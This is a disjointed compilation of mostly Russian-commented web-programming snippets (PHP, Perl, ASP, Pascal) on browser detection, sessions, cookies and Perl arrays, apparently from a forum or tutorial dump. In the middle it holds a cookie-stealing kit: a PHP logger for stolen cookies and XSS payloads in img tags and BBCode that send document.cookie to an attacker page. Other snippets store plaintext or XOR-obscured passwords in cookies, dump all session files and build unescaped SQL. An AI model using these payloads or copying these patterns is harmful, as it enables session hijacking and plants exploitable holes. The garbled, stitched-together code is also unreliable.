/*

* @package     userlib

* @version     1.3.1 stable

* @autor       Serafim

* @info     Библиотека определения браузера и операционной системы клиента

*/

class Browser{

   private $_ua         = NULL;

  

   private $_searchEngine  = false;

   private $_mobileBrowser = false;

  

   private $_name          = NULL;

   private $_type          = NULL;

  

   private $_os         = NULL;

   private $_os_build      = NULL;

  

   /**

  * @param    string [$ua]         Строка формата HTTP_USER_AGENT

  **/

   public function __construct($ua = NULL){

      $this -> _ua = ($ua === NULL) ? $_SERVER['HTTP_USER_AGENT'] : $ua;

   }

  

   /**

  * @return   string $ua           Возвращает строку формата HTTP_USER_AGENT

  **/

   public function getUserAgent(){

      return $this -> _ua;

   }

  

   /**

  * @return   integer $type        Возвращает тип "браузера", 0 - неопознано, 1 - клиентский, 2- мобильный, 3 - поисковик

  **/

   public function getType(){

      if( $this -> _type === NULL ){

         $this -> getUserAgentName();

        

         if( $this -> _searchEngine ){

            $this -> _type = 3;

         }else{

            $this -> getOS();

            if( $this -> _mobileBrowser ){

               $this -> _type = 2;

            }else{

               $this -> _type = 1;

            }

         }

      }

      

      return $this -> _type;

   }

  

  

   /**

  * @return   string $browser         Возвращает имя браузера клиента

  **/

   public function getUserAgentName(){

      if( $this -> _name === NULL ){

         $this -> _checkUA($this -> _ua);

      }

      

      return $this -> _name;

   }

  

   /**

  * @return   string $browser         Возвращает имя ОС клиента

  **/

   public function getOS(){

      if( $this -> _os === NULL ){

         $this -> _checkOS($this -> _ua);

      }

      

      return $this -> _os;

   }

  

   /**

  * @return   string $browser         Возвращает версию ОС клиента

  **/

   public function getOSBuild(){

      if( $this -> _os_build === NULL ){

         $this -> _checkOS($this -> _ua);

      }

      

      return $this -> _os_build;

   }

  

  

  

  

  

  

   private function _checkOS($ua){

      $prePattern = ' ([0-9\d\._]+)#is';

      

      $types = array(

         'Android',

         'Windows CE',

         'SymbOS',      // Symbian

         'SymbianOS',   // Symbian

         'J2ME',        // Undefined Java

         'Mac OS X',

         'Windows NT',

         'Linux'

      );

      

      

      $item = 0;

      foreach($types as $os){

         if( strstr($ua, $os) ){

            $pattern = '#' . str_replace(' ', '\s', $os) . $prePattern;

            

            $this -> _os = str_replace(

               $types,

               array(

                  'Android',

                  'Windows Mobile',

                  'Symbian',

                  'Symbian',

                  'Undefined [J2ME]',

                  'Mac OS X',

                  'Windows',

                  'Linux',

               ),

               $os

            );

            preg_match_all($pattern, $ua, $matches);

            $this -> _os_build = $matches[1][0] ? $matches[1][0] : NULL;

            

            if( $item < 5 ) $this -> _mobileBrowser = true;

            

            break;

         }

        

        

         $this -> _os =          NULL;

         $this -> _os_build =    NULL;

         $item++;

      }

   }

  

  

  

   private function _checkUA($ua){

      if(

         strstr($ua, 'Googlebot') ||

         strstr($ua, 'Mediapartners-Google') ||

         strstr($ua, 'Google Search Appliance')

      ){

         $this -> _searchEngine  = true;

         $this -> _name    = 'Google';

      }elseif(

         strstr($ua, 'Yandex') ||

         strstr($ua, 'YaDirectBot')

      ){

         $this -> _searchEngine  = true;

         $this -> _name    = 'Yandex';

      }elseif(

         strstr($ua, 'Yahoo!') ||

         strstr($ua, 'YahooFeedSeeker')

      ){

         $this -> _searchEngine  = true;

         $this -> _name    = 'Yahoo!';

      }elseif( strstr($ua, 'msnbot') ){

         $this -> _searchEngine  = true;

         $this -> _name    = 'MSN';

      }elseif( strstr($ua, 'Mail.Ru') ){

         $this -> _searchEngine  = true;

         $this -> _name    = 'Mail.Ru';

      }elseif( strstr($ua, 'StackRambler') ){

         $this -> _searchEngine  = true;

         $this -> _name    = 'Rambler';

      }elseif(

         strstr($ua, 'W3C_Validator') ||

         strstr($ua, 'W3C_CSS_Validator_JFouffa')

      ){

         $this -> _searchEngine  = true;

         $this -> _name    = 'W3C Validator';

      }elseif( strstr($ua, 'Baiduspider') ){

         $this -> _searchEngine  = true;

         $this -> _name    = 'Baidu';

      }elseif( strstr($ua, 'ia_archiver') ){

         $this -> _searchEngine  = true;

         $this -> _name    = 'Alexa';

      }elseif( strstr($ua, 'curl') ){

         $this -> _searchEngine  = true;

         $this -> _name    = 'libCURL';

        

        

      }elseif( strstr($ua, 'Chrome') ){

         $this -> _name    = 'Chrome';

      }elseif(

         strstr($ua, 'Opera') &&

         !(

            strstr($ua, 'Mini') ||

            strstr($ua, 'Mobi')

         )

      ){

         $this -> _name    = 'Opera';

      }elseif(

         strstr($ua, 'Opera') &&

         strstr($ua, 'Mini')

      ){

         $this -> _name    = 'Opera Mini';

      }elseif(

         strstr($ua, 'Opera') &&

         strstr($ua, 'Mobi')

      ){

         $this -> _name    = 'Opera Mobile';

      }elseif( strstr($ua, 'Firefox') ){

         $this -> _name    = 'Firefox';

      }elseif( strstr($ua, 'Android') ){

         $this -> _name    = 'Android';

      }elseif( strstr($ua, 'Avant') ){

         $this -> _name    = 'Avant';

      }elseif( strstr($ua, 'Epiphany') ){

         $this -> _name    = 'Epiphany';

      }elseif( strstr($ua, 'Flock') ){

         $this -> _name    = 'Flock';

      }elseif( strstr($ua, 'K-Meleon') ){

         $this -> _name    = 'K-Meleon';

      }elseif( strstr($ua, 'Konqueror') ){

         $this -> _name    = 'Konqueror';

      }elseif( strstr($ua, 'PLAYSTATION') ){

         $this -> _name    = 'PlayStation 3';

      }elseif( strstr($ua, 'PSP') ){

         $this -> _name    = 'PlayStation Portable';

      }elseif( strstr($ua, 'Safari') ){

         $this -> _name    = 'Safari';

      }elseif( strstr($ua, 'SeaMonkey') ){

         $this -> _name    = 'SeaMonkey';

      }elseif( strstr($ua, 'MSIE') ){

         $this -> _name    = 'Internet Explorer';

      }else{

         $this -> _searchEngine  = false;

         $this -> _name          = '[undefined] ' . $ua;

      }

   }

}

s/<(([^>]|\n)*)>//g

sub dirname {+&basename('dir', @_)}

sub filename {+&basename('file', @_)}

sub basename {

    use Path::Class qw'dir file';

    my($sub, $result)='Path::Class::'.shift;

    my$func=sub {

        if(!defined $_[0] || $_[0]=~/^(?:https?:|ftps?:|\\|\/\/)/io){+$_[0]}

        elsif(defined($result=$sub->($_))){+$result->absolute}

        else{+$_[0]}

    };

    return $func->(+shift) unless wantarray;

    + map $func->($_), @_

}

print filename './db1.mdb.dsn';

print filename 'http://forum.sources.ru./';

print dirname '/home/etc';

C:\home\www\home\dev\www\db1.mdb.dsn1

http://forum.sources.ru./

C:\home\etc\

perldoc Path::Class

<?php

define('LOG_FILE', 'tmp/log.txt'); // Лог-файл.

//Он должен быть доступен для записи (chmod 777 tmp).

 

// Сохраняет плюшку в лог-файле

function save_cookie($text)

{

        if(!file_exists(LOG_FILE)) touch(LOG_FILE);

        $fp = fopen(LOG_FILE, 'a');

        fputs($fp, "--------------------- [ COOKIE ] ---------------------\r\n");

        fputs($fp, $text."\r\n");

        fputs($fp, "--------------------- [ /COOKIE ] --------------------\r\n");

        fclose($fp);

}

 

// Показывает все плюшки

function view_cookies()

{

        if(!file_exists(LOG_FILE)) touch(LOG_FILE);

        $fp = fopen(LOG_FILE, 'r');

        echo "<pre>\r\n";

        while(!feof($fp))

        {

                $line = fgets($fp);

                echo $line;

        }

        echo "</pre>\r\n";

        fclose($fp);

}

 

// Очищает лог

function clean_log()

{

        if(file_exists(LOG_FILE)) unlink(LOG_FILE);

        echo 'Файл очищен.';

}

 

// Тело

$act = $_GET['act'];

switch($act)

{

        case 'add':

             $cook = $_GET['cook'];

             save_cookie($cook);

             break;

        case 'show':

             view_cookies();

             break;

        case 'clean':

             clean_log();

             break;

        default: echo 'Интересно, что бы это могло быть?';

}

?>

window.open('http://mysite/cookz.php?act=add&cook=' + document.cookie, 'XWindow', 'left=9999,top=9999')

<a href="javascript:alert('Hi')">ссылка</a>

<img src="javascript:alert('Что, не ожидали, да?')" />

[IMG]путь_к_картинке[/IMG]

[IMG]javascript:window.open('http://mysite/cookz.php?act=add&cook=' + document.cookie, 'XWindow', 'left=9999,top=9999')[/IMG]

<img src="javascript:window.open('http://mysite/cookz.php?act=add&cook=' + document.cookie, 'XWindow', 'left=9999,top=9999')" />

<div style="background-image:url(javascript:alert('JavaScript работает!'))">Привет!</div>

[color=red" style=background-image:url(javascript:window.open('http://mysite/cookz.php?act=add&cook=' + document.cookie, 'XWindow', 'left=9999,top=9999'));]Hello, everybody![/color]

function xor_crypt($str, $key)

{

        $result = '';

        for($i = 0; $i < strlen($str); $i++) $result .= chr(ord($str[$i]) ^ $key);

        return $result;

}

<?php

define('CRYPT_KEY', 128);

setcookie('login', xor_crypt($_POST['login'], CRYPT_KEY), time() + 3600);

setcookie('password', xor_crypt($_POST['password'], CRYPT_KEY), time() + 3600);

header('Location: main.php');

?>

<?php

define('CRYPT_KEY', 128);

$usr = login(xor_crypt($_COOKIE['login'], CRYPT_KEY), xor_crypt($_COOKIE['password'], CRYPT_KEY));

?>

<?php

// Функция форматирования данных сессии, unserialize() не работает.

function sess_format($data)

{

        $result = str_replace(';', '</dd><dt>', $data);

        $result = str_replace('|', '</dt><dd>', $result);

        $result = '<dt>'.$result.'</dt>';

        return $result;

}

 

// Извлекам путь к папке сессий

$sess_dir = ini_get('session.save_path');

if(empty($sess_dir)) $sess_dir = $_ENV['TEMP'];

 

// На ходу извлекаем все сессии

$dp = opendir($sess_dir);

chdir($sess_dir);

while($file = readdir($dp))

{

        if(eregi('^sess_', $file))

        {

                // Извлекаем идентификатор

                $sess_id = substr($file, strpos($file, '_')+1, strlen($file) - strpos($file, '_'));

                // Открываем файл и читаем данные в строку

                $fp = fopen($file, 'r');

                $sess_data = '';

                while(!feof($fp)) $sess_data .= fgetc($fp);

                fclose($fp);

                // Выводим результаты

                echo "<b>---------------- $sess_id ----------------</b><br />\r\n";

                echo "<dl>\r\n";

                echo sess_format($sess_data);

                echo "</dl>\r\n";

echo "<b>-----------------------------------------

------------------------------------------</b><br /><br />\r\n";

        }

 

}

closedir($dp);

?>

bool session_set_save_handler(string open, string close, string read, string write,

string destroy, string gc)

CREATE TABLE sessions

(

    session_id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,

    create_ts DATETIME DEFAULT 'NOW()' NOT NULL,

    session_key VARCHAR(255) NOT NULL,

    session_data TEXT NOT NULL

);

<?php

// Сервер

define('DB_HOST', 'localhost');

// Имя пользователя

define('DB_USER', 'username');

// Пароль

define('DB_PASS', 'password');

// Имя базы

define('DB_NAME', 'test');

 

// Ключ для шифрования MCRYPT

define('MCRYPT_CRYPT_KEY', 'my super secret key');

 

// Вероятность запуска сборщика мусора

ini_set('session.gc_probability', 100);

// Срок годности сессии при отсутствии активности пользователя

ini_set('session.gc_maxlifetime', 1440); // 15 минут

?>

function sess_open($save_path, $session_name)

{

    global $db;

    if(!is_resource($db)) $db = mysql_connect(DB_HOST, DB_USER, DB_PASS);

    mysql_select_db(DB_NAME, $db);

    return true;

}

function sess_close()

{

    return true;

}

function sess_read($id)

{

    global $db;

    $data = mysql_result(mysql_query("SELECT session_data FROM sessions WHERE session_key = '$id'"));

    // $data = mcrypt_ecb(MCRYPT_TripleDES, MCRYPT_CRYPT_KEY, $data, MCRYPT_DECRYPT);

    return $data;

}

function sess_write($id, $data)

{

    global $db;

    // $data = mcrypt_ecb(MCRYPT_TripleDES, MCRYPT_CRYPT_KEY, $data, MCRYPT_ENCRYPT);

    $num = mysql_result(mysql_query("SELECT COUNT(*) FROM sessions WHERE session_key = '$id'"));

    if($num == 1)

    {

  // Обновление существующей

  $sql = "UPDATE sessions SET session_data = '".mysql_real_escape_string($sess_data)."',

create_ts = NOW() WHERE session_id = $session_id";

    }

    else

    {

  // Создание новой

  $sql = "INSERT INTO sessions (create_ts, valid, session_key, session_data) VALUES (NOW(),

'yes', '". mysql_real_escape_string($id) ."', '". mysql_real_escape_string($sess_data) ."')";

    }

    mysql_query($sql);

    return true;

}

function sess_destroy($id)

{

    global $db;

    mysql_query("DELETE FROM sessions WHERE session_key = '$id'");

    return true;

}

function sess_gc($maxlifetime)

{

    global $db;

    mysql_query("DELETE FROM sessions WHERE create_ts < DATE_ADD(now(), INTERVAL - $maxlifetime SECOND)");

    return true;

}

session_set_save_handler('sess_open', 'sess_close', 'sess_read', 'sess_write', 'sess_destroy', 'sess_gc')

    or die('Error: couldn\'t register session handler');

SELECT COUNT(*) FROM sessions

Session("var_name") = var_name

<%

login = Request("login")

password  = Request("password")

Session("login") = login

Session("password") = password

%>

var_name = Session("var_name")

<%

login = Session("login")

password = Session("password")

%>

<%

log = Application("log")

log = log & " [ One more instance of this app working ! ]"

Application("log") = log

%>

%клиент={

       идентификатор=>1799,

        вес=>'10 кило',

     мука=>'15%',

        сахар=>'нет',

       'получает

 в

         год'=><<'...Информация...'};

                   Да,

  он получает

     в год

...Информация...

package Client;

use locale;

use MD5;

 

sub Client::reset{

    -f&&-M>1 ? unlink : undef while <${+\+directory}/*>

}

 

sub encode{ # преобразование сивола в шестнадцатеричное целое 0x0<=число<0x100

  my$str=shift;

   $str=~s~(\W)~sprintf'%02X',ord~geos;

  +$str

}

 

sub decode{ # обратное encode преобразование

  my$str=shift;

   $str=~s~%([a-f\d]{2})~+chr hex~geoi;

  +$str

}

 

sub keyval_enc{ # возвращает сериализованную строку

   +&encode(+shift)."\t".&encode(+shift)."\n"

}

 

sub keyval_dec{ # возвращает декодированную в две переменные строку

  my($key, $val)=split/\t/o,+shift, 2;chomp$val;

  +shift->{+decode $key}=decode $val

}

 

sub directory{

   my$directory=shift||'/sessions';

    mkdir$directory,0700 unless -d$directory;

   +$directory

}

sub filename{+join  '/',             @_}

 

sub save{ # запись данных в файл

    my$client=shift;

    my$directory=&directory;# в подпрограмму "directory"

                # неявно передаются параметры @_

    my$file_name=filename $directory, $$client{'идентификатор'};

    my$temp_name=$file_name.'.tmp';

 my$fh;

 

  return undef unless open $fh, '>'.$temp_file;

       #flock$fh,2;

    while(my($k, $v)=each%$client)

  {

       print $fh keyval_enc $k, $v

 }

       #flock$fh,8;

    unlink($temp_name) | return undef unless close$fh && rename$file_name, $temp_name;

 

  +1

}

 

sub load{ # загрузка

 my$id=shift || return create;

   my$client=shift||{};

    my$directory=&directory;

 

    $client_id=$$client{'идентификатор'} unless defined $client_id;

 

 my$file_name=filename $directory, $id;

  my$fh;

 

  return create $client, $directory unless open $fh, '<'.$file_name;

  keyval_dec $_, $client while <$fh>;

 return undef unless close$fh;

 

   +$client

}

 

sub remove{

    my$client=shift;

    +unlink +filename +&directory, +$$client{+'идентификатор'};

 # это не простые плюсики, они [i]медицинские[/i]

}

 

sub create{ # создание

 my$client=shift||{};

    my$directory=&directory;

 

    $client{'идентификатор'}=MD5->hexhash($ENV{REMOTE_ADDR}, localtime, time, rand);

 

    +$client

}

 

+1;

package main;

 

use Client;

 

Client->reset;

local$client=Client->load($id); # загрузка или создание записи

$client->{Имя}='Не знамо какое';

$client->{Номер_номера}='xyz';

Client->save($client); # сохранение

Client->remove; # удаление

 

+1;

use Apache::Session::MySQL;

use Apache;

 

use strict;

 

#read in the cookie if this is an old session

 

my $r = Apache->request;

my $cookie = $r->header_in('Cookie');

$cookie =~ s/SESSION_ID=(\w*)//;

 

#create a session object based on the cookie we got from the browser,

#or a new session if we got no cookie

 

my %session;

tie %session, 'Apache::Session::MySQL', $cookie, {

DataSource => 'dbi:mysql:sessions', #these arguments are

UserName => 'mySQL_user', #required when using

Password => 'password', #MySQL.pm

LockDataSource => 'dbi:mysql:sessions',

LockUserName => 'mySQL_user',

LockPassword => 'password'

};

 

#Might be a new session, so lets give them their cookie back

 

my $session_cookie = "SESSION_ID=$session{_session_id};";

$r->header_out("Set-Cookie" => $session_cookie);

<?php

// Получаем переменные с POST-формы

$login = $_POST['login'];

$password = $_POST['password'];

// Начинаем сессию

session_start();

// Объявляем имена для регистрируемых переменных

session_register('login', 'password');

// Записываем значения переменных

$_SESSION['login'] = $login;

$_SESSION['password'] = $password;

 

// Дальше какой-то код...

?>

<?php

// Начинаем сессию

session_start();

// Объявляем имена для регистрируемых переменных

session_register('login', 'password', 'test');

// С login и password все проходит автоматически (из-за глобальности),

// а на примере test я покажу, как задавать еще не созданную переменную

$test = 'Test variable value';

 

// Вот и все!

?>

<?php

session_start();

if(session_is_registered('test'))

    session_unregister('test');

?>

<?php

session_start();

$user = login($_SESSION['login'], $_SESSION['password']);

if(!$user) header('Location: wrong.html');

?>

<;?php

session_start();

session_destroy();

echo '<h1>See you next time;)</h1>';

?>

procedure Web_SessionStart;

{...}

begin

Web_SessionStart; // Login и pass уже находятся в сессии

Web_Header;

login := Web_GetVar('login');

pass := Web_GetVar('password');

// Теперь можно что-то с этим пользователем сделать!

{...}

procedure Web_SessionRegister(name, value: string);

{...}

begin

login := Web_GetVar('login'); // Получаем логин с HTML формы

Web_SessionRegister('login', login); // Создается сессия, содержащая одну переменную (login)

pass := Web_GetVar('password'); // Получаем пароль с HTML формы

Web_SessionRegister('password', pass); // Пароль добавлен в сессию

Web_SessionStart; // Ничто не остановит начало сессии!

Web_Header;

// Теперь можно что-то с этим пользователем сделать!

{...}

{...}

begin

Web_SessionUnregister('email'); // Больше нет e-mail в сессии :(

Web_SessionStart; // Но мы продолжаем ее использовать :)

Web_Header;

{...}

{...}

begin

Web_SessionDestroy; // Сессии больше нет

Web_Header;

writeln('<h1>До свидания!</h1>');

{...}

// Не важно, как мы прочитали из файла переменные name1, name2, value1, value2

// Будем использовать класс CHttpBlockingSocket для соединения с сервером

CHttpBlockingSocket client;

// Строка запроса

char request[] = "GET /cgi-bin/cookie_test.cgi HTTP/1.0\r\n";

// Заголовки запроса (request headers), обратите внимание на Cookie

char headers[] = "User-Agent: Cookie Tester/1.0.0\r\n"

 "Accept: */*\r\n"

 "Cookie: " + name1 + "=" + value1 + "; " + name2+ "=" + value2 + "\r\n"

 "\r\n";

CSockAddr server_addr;

// Создаем объект и соединяемся с сервером

client.Create();

server_addr = CBlockingSocket::GetHostByName("domain.com", 80);

client.Connect(server_addr);

// Передаем запрос и заголовки

client.Write(request, strlen(request), 10);

client.Write(headers, strlen(headers), 10);

// Ответы сервера прочитаем в строковый буфер

char buffer[];

int bytes_read = 0;

do

{

    bytes_read = client.ReadHttpHeaderLine(buffer, 100, 10);

}

while(strcmp(buffer, "\r\n"));

bytes_read = client.ReadHttpResponse(buffer, 100, 10);

// Закрываем соединение

client.Close();

<?php

// Эта функция считывает cookies в массив

function dump_cookie()

{

    // Создаем временную переменную

    $result = Array();

    // Копируем содержимое переменной окружения в строку

    $content = getenv('HTTP_COOKIE');

    // Парсинг строки в цикле

    $temp = '';

    $key = '';

    $i = 0;

    while($i < strlen($content))

    {

  if($content[$i] == '=')

  {

   $key = urldecode($temp);

   $temp = '';

  }

  elseif($content[$i] == ';')

  {

   $result[$key] = urldecode($temp);

   $temp = '';

   // После точки с запятой идет пробел!

   $i++;

  }

  else $temp .= $content[$i];

  $i++;

    }

    // Последнюю пару значений заполняем "вручную"

    if(!empty($key)) $result[$key] = urldecode($temp);

    // Готово

    return $result;

}

 

// Сохраняем cookies в переменной

$my_cookies = dump_cookie();

// Смотрим, что же нам передали

echo '<pre>';

print_r($my_cookies);

echo '</pre>';

?>

alert('document.cookie');

document.cookie += '; foo=bar';

location = '/cgi-bin/cookie_test.cgi';

var expr = new Date();

var inAWeek = expr.getTime() + (1000 * 3600 * 24 * 30);

expr.setTime(inAWeek);

document.cookie = 'var_name=some_value; expires=' + expr.toGMTString();

// Если register_globals = On, то эти строчки можно удалить

$id = $_COOKIE['id'];

$name = $_COOKIE['name'];

$password = $_COOKIE['password'];

// Конец кода для register_globals = Off.

// Теперь над этими переменными можно произвести какие-то действия

$user = login($id, $name, $password);

int setcookie(string name [, string value [, int expire [, string path [, string domain [, int secure]]]]]);

$expr = time() + (3600 * 24 * 30);

setcookie('id', $id, $expr);

setcookie('name', $name, $expr);

setcookie('password', $password, $expr);

setcookie('id', '', time() - 60);

setcookie('name', '', time() - 60);

setcookie('password', '', time() - 60);

{$H+}{$MODE OBJFPC}

program cookie_test;

{ ... код ... }

var login, password: string;

    id: longint;

{ ... код ... }

begin

    login := Web_GetVar('login');

    password := Web_GetVar('password');

    id := longint(Web_GetVar('id'));

    { ... код ... }

end.

procedure Web_SetCookie(name, value: string);

procedure Web_SetCookie(name, value, path, domain, expires: string);

{$H+}{$MODE OBJFPC}

program cookies;

uses web;

 

begin

    Web_SetCookie('foo', 'Почему бы не по-русски?');

    Web_SetCookie('bar', 'Custom values...', '/cgi-bin/secret', 'secret.domain', 'Sat, 02-Oct-2004 22:00:00 GMT');

    Web_Header(); // Теперь пойдет содержимое страницы

    writeln('<h1>Cookies are set!</h1>');

end.

procedure Web_DeleteCookie(name: string);

procedure Web_DeleteCookie(name, path, domain: string);

{$H+}{$MODE OBJFPC}

program cookies;

uses web;

 

begin

    Web_DeleteCookie('foo');

    Web_DeleteCookie('bar', '/cgi-bin/secret', 'secret.domain');

    Web_Header(); // Теперь пойдет содержимое страницы

    writeln('<h1>Cookies are removed!</h1>');

end.

package Текущий_Пакет;

#...............................

 

print while <Текущий_Пакет::DATA>;

#или

open DATA, '<&Текущий_Пакет::DATA';

# копирование ссылки на "Текущий_Пакет::DATA" через функцию "open"

   print while <DATA>;

close DATA;

#...............................

+1;

 

#конец программы

__DATA__

Вот тут можно написать

    много всякого-разного и засунуть сюда

   огромный текстовый блок

$ip = $_SERVER["HTTP_CLIENT_IP"];

if (empty($ip)) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]);

if (empty($ip)) $ip = $_SERVER["REMOTE_ADDR"]);

my $IPAddr1 = $ENV{'HTTP_CLIENT_IP'};

if ($IPAddr1 eq "") { $IPAddr1 = $ENV{'REMOTE_ADDR'}; }

 

my $IPAddr2 = "";

if ($ENV{'HTTP_X_FORWARDED_FOR'})

 {

 $IPAddr2 = $IPAddr1;

 $IPAddr1 = $ENV{'HTTP_X_FORWARDED_FOR'};

 }

var ip = ssjs_getCGIVariable("REMOTEADDR");

write(ip);

 

    @matrix=(

        (1, 2, 3, 4),

        ('a'..'d'),

        (5..8)

    );

 

    # Получаем всю третью строчку:

    $row3=$matrix[2];

    # или $row3=$matrix[-1];

    # в $row3 записано (5..8)

 

    # Получаем всю вторую строчку:

    $row2=$matrix[1];

    # или $row3=$matrix[-2];

    # в $row2 записано ('a'..'d')

 

    # Получаем всю первую строчку:

    $row1=$matrix[0];

    # или $row3=$matrix[-3];

    # в $row1 записано (1, 2, 3, 4)

 

    # Всё прекрасно получается.

    # Проверка:

    print $row1, ', ', $row2, ', ', $row3, "\n";

    # На перёд, print - функция вывода.

    # Получает список аргументов и распечатывает их содержимое в

    # стандартный поток вывода (но не только, объясню в статье "Ввод\Вывод")

 

    # Итак, вывод:

 

    1, 2, 3

 

    # Всё прекрасно получается.

 

    @var1=(1..4);

    @var2=('k'..'n');

    @var3=(@var1, @var2);

    # или

    @var3=((1..4), ('k'..'n'));

    # или

    @var3=(1..4, 'k'..'n');

    # теперь в @var3 находится (1, 2, 3, 4, 'k', 'l', 'm', 'n')

 

    @var4=(((((((1)))))),(2));

    # @var4=(1, 2);

 

    @var5=@var1, @var2;

    # @var5=1..4;

 

    $var1=1;

    @var1=('1'..'4');

    @var2=(@var1, $var1);

    # @var2=('1', '2', '3', '4', 1);

    ($var1, $var2, $var3)=(1, 2, 3);

    @var3=($var2, $var3, @var2, $var1);

    # @var3=(2, 3, '1', '2', '3', '4', 1, 1);

 

    ($a, $b, @var)=(1..4);

    # $a=1; $b=2; @var=(3, 4);

    (@a, $b, @c)=(4..8);

    # @a=(4, 5, 6, 7, 8); $b=undef; @c=();

    ($a, $b, %c)=(1, 2, key1=>'a', key2=>'b');

    # $a=1; $b=2; %c=(key1=>'a', key2=>'b');

 

    $row1=\(1..4);

    $row2=\('1'..'4');

    $row3=\('a'..'d');

 

    @matrix=(

        $row1,

        $row2,

        $row3

    );

 

    # Создали промежуточные бесполезные переменные $row1, $row2, $row3

    # Можно записать ещё так:

 

    @matrix=(

        \(1..4),

        \('1'..'4'),

        \('a'..'d')

    );

 

    # А можно ещё короче:

 

    @matrix=(

        [1..4],

        ['1'..'4'],

        ['a'..'d']

    );

    $array_ref=[1..4];

    # ссылка на список (1, 2, 3, 4)

    # список @matrix состоит только из скаляров, однако содержит скалярные же ссылки на другие списки.

 

    @var1=(

        key1=>'val1',

        key2=>'val2',

        key3=>'val3'

    );

    %var1=@var1;

    @var1=%var1;

 

    @var1=(key1, 'val1', key2, 'val2', key3, 'val3')

 

    @var=('a', 'b', 'a', 2, 'c', 'c', 'd');

    %var=@var;

    @var=%var;

 

    # теперь в @var содержится что-то вроде ('a', '2', 'c', 'c', 'd', undef), но не именно в том самом порядке, элементы в хэш-массиве хранятся в любом "удобном" для оперирования порядке!

 

    $row1=\(1=>'a', 'a'=>1);

    # для задания ссылки на строку-хэш-массив используется соответствующий стиль.

    # однако, это ещё одни на первых порах часто встречающиеся грабли. На самом деле,

    # $row1 теперь содержит ссылку на список.

    # Вот как можно сделать:

    %row1=(1=>'a', 'a', 1);

    # стиль задания элементов списка или хэш-массива вообще ни на что кроме читабельности не влияет. В обоих случаях можно беспорядочно использовать оба варианта ("," или "=>").

    $row1=\%row1;

    %row2=(2, 'b', 'b', 2);

    %matrix=(

        row1=>$row1,

        row2=>\%row2,

        # а можно так:

        row3=>{

            3=>'c',

            4=>'d'

        }

    );

$var, $'var, *::var, %main'var, @one::two'var

 

    %::a=(a=>'b', c=>'e');

    $::a="abcdefg";

    @::a=('aA', 'bB', 'cC');

 

    $uy'_0=1024.0;

    $scalar::_1=-1_02_4;

    $::i'go'go::_2=-1e+1.24;

    $oogo_3="-0x400";

    $scalar'_4='-1024';

    $____'_5='Одна тысяча двадцать четыре';

 

    $var=; #ссылка на безымянный объект

    $var=\\"1"; #ссылка на ссылку на ссылку на безымянный объект

    $a=1; $var=$a; #ссылка на именованый объект

 

    @var=(1, 2, 3);

    @var=(1 .. 3, 5 .. 9);

    ($a, $b, $c)=(1, 2, 3); ($a, $b, $c)=@var;

    ($a, $b, $c)=($c, $a, $b);

    @var=('d'..'t', 'Z', 1 ,'A'..'Z');

 

    @var=1; # @var=(1);

    @var=1..3; # @var=(1, 2, 3)

    $var[1]=10; # Теперь @var=(1, 10, 3);

    # Если

    @var=1..3;

    $var[-1]=10; # или

    $var[ 2]=10; # или

    $var[$#var]=10; # теперь @var=(1, 2, 10)

 

    @var=1..10;

    @var1=(8, 7, 1..4);

    @var[@var1] = @var[5..$#var, 1];

        # @var=(1, 8, 9, 10, 2, 6, 7, 7, 6, 10)

    #или безымянный массив

    @var=('a'..'z')[4, 2, 10..15, 0, 1, -1, -12];

        # @var=('e', 'c', 'k', 'l', 'm', 'n', 'o', 'p', 'a', 'b', 'z', 'o')

 

    $var=$var[-5]; #ссылка на элемент списка $var[$#var+1-5]

        # ! образуется 2 переменных $var-скалярная и остаётся @var-списочная.

 

    @var2=\(@var1); # создаётся список @var2 с элементами-ссылками на соответствующие элементы списка @var1

    $var=\@var; # создаётся скаляр $var со ссылкой на массив @var

    $var=\(1..4); # ! тоже создаётся ссылка, но на безымянный массив

 

    $len=$#var+1; # это уже знаем

    $len=@var; # здесь затрагивается тема про контексты, и про это тоже позже.

    # Список в скалярном контексте возвращает свою длину - число

%var=(

        key1=>'val1',

            # если ключ состоит только из цифр, латинских букв и символов "_",

            # кавычки в названии можно не указывать

        'key2'=>$val2,

        key3, "val3"

);

 

    %var=('blue', 'Чёрный', 'red', 'Красный', 'green', 'Зелёный');

    $blue=$var{blue};

        # создаётся переменная-скаляр "blue" со значением "Синий"

    $redref=$var{red};

        # создаётся переменная-ссылка "redref" на содержимое "Красный"

 

    %var=('blue'=>'Чёрный', 'red'=>'Красный', 'green'=>'Зелёный');

    @rgb=@var{'red', 'green', 'blue'};

        # создаётся переменная-список @black

        # со значением ('Красный', 'Зелёный', 'Синий')

    @rgbnames=('red', 'green', 'blue');

    @rgbref=\(@var{@rgbnames});

        # создаётся переменная-список ссылок $rgbref

        # на безымянный массив на значения под ключами @rgbnames

        # хэш-массива %var

        # типа: @rgbref=(\'Красный', \'Зелёный', \'Синий')

 

    @var=('black', 'Чёрный', 'red', 'Красный', 'green', 'Зелёный');

    %var=@var;

        # образуется хэш-массив типа:

        # %var=(

        #   black=>'Чёрный',

        #   red=>'Красный',

        #   green=>'Зелёный'

        # );

    @var=%var;

        # получается исходный список

        # @var=('black', 'Чёрный', 'red', 'Красный', 'green', 'Зелёный');

*STDIN, *::STDOUT, *'STDERR;

whereis perl

perl -v

perl -h

 

<?

$img = imagecreatefromJpeg("picture.jpg");

 

$img_width  = imagesx($img);

$img_height = imagesy($img);

 

$img_new_width = $img_width * 2;

$img_new_height = $img_height * 2;

 

$img_new = imagecreatetruecolor($img_new_width, $img_new_height);

 

imagecopyresized($img_new, $img, 0, 0, 0, 0, $img_new_width, $img_new_height, $img_width, $img_height);

 

header("Content-type: image/jpeg");

imagejpeg($img_new);

?>

 

<html>

<head>

<title>Example</title>

</head>

<body>

<form action="file.php" method="post">

Ваше имя:<br>

<input type=text name="name" maxlength=20 size=30><br>

<input type=submit value="Продолжить">

</form>

</body>

</html>

 

<html>

<head>

<title>Example</title>

</head>

<body>Hello

<?

$name = $_POST["name"];

echo $name;

?>!

</body>

</html>

 

<html>

<body>

<form enctype="multipart/form-data" action="upload.php" method=post>

<input type="hidden" name="MAX_FILE_SIZE" value="1000">

File Name: <input type="file" name="userfile">

<input type="submit" value="Send">

</form>

</body>

</html>

 

<?

echo " <br> Size: $userfile_size<br>

Old Name: $userfile_name<br>

Temp Name: $userfile<br><pre>";

echo implode ("",file($userfile)); // Выводит файл

?>

 

<Location />

CharsetRecodeMultipartForms Off

</Location>

function foo(&$bar)

{

        echo $bar;

        $bar = '';

}

function foo($bar)

{

